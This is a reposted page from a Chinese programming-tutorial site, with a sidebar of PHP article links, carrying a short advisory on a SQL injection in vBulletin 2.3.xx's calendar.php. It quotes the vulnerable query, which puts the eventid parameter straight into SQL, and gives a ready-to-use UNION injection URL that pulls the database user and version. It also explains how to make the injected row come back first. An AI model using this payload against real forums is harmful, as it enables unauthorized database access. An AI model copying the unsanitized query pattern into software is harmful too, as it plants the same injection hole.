繁體中文当前位置: 首页 > 图文教程 > 网络编程 > PHP > vBulletin Forum 2.3.xx SQL Injection
- PHP
- 成为PHP编程高手应该遵循的三个准则
- PHP企业级应用之常见缓存技术篇
- PHP企业级应用之WebService篇
- PHP实现的Mysql读写分离
- php框架codeigniter是如何实现mvc模式以及单一入口
- PHP版单点登陆实现方案
- Linux编程之：五个常见PHP数据库问题
- linux下php实现C/C++扩展编程
- 目前最好的PHP开发框架
- php职业分析（如何成为一名优秀的phper）
- PHP 的八卦两则
- 20款 Web Mail PHP开源项目
- 经验分享:学好java开发的关键7步
- PHP中正则的使用
- 对于Java开发人员必须遵从的十大基本法则
- PHP绘制3D图形之自定义图形及矢量图
- PHP编写的25个游戏脚本
- php生成静态页面的办法
- 微软对PHP支持的改进 及其它一些胡言乱语
- Fedora下Zend Studio 6.1.2 的配置
PHP 中的 vBulletin Forum 2.3.xx SQL Injection
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-09-13 浏览: 184 ::
收藏到网摘: n/a
vBulletin Forum 2.3.xx SQL Injection There exist a sql injection problem in calendar.php.
-------- Cut from line 585 in calendar.php ----------
else if ($action == "edit")
{
$eventinfo = $DB_site->query_first("SELECT allowsmilies,public,userid,
eventdate,event,subject FROM calendar_events WHERE eventid = $eventid");
-----------------------------------------------------
If the MySQL version is greater than 4.00, a UNION attack could be used.
-----------------------------------------
http://ww.xxx.com/bbs/calendar.php?action=edit&eventid=12%20union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FROM%20calendar_ev
ents%20WHERE%20eventid%20=%2013)%20order%20by%20eventdate
-----------------------------------------
The query_first function will only return the first row of the query result, so make sure it returns !
the one you want.
评论 (0) All
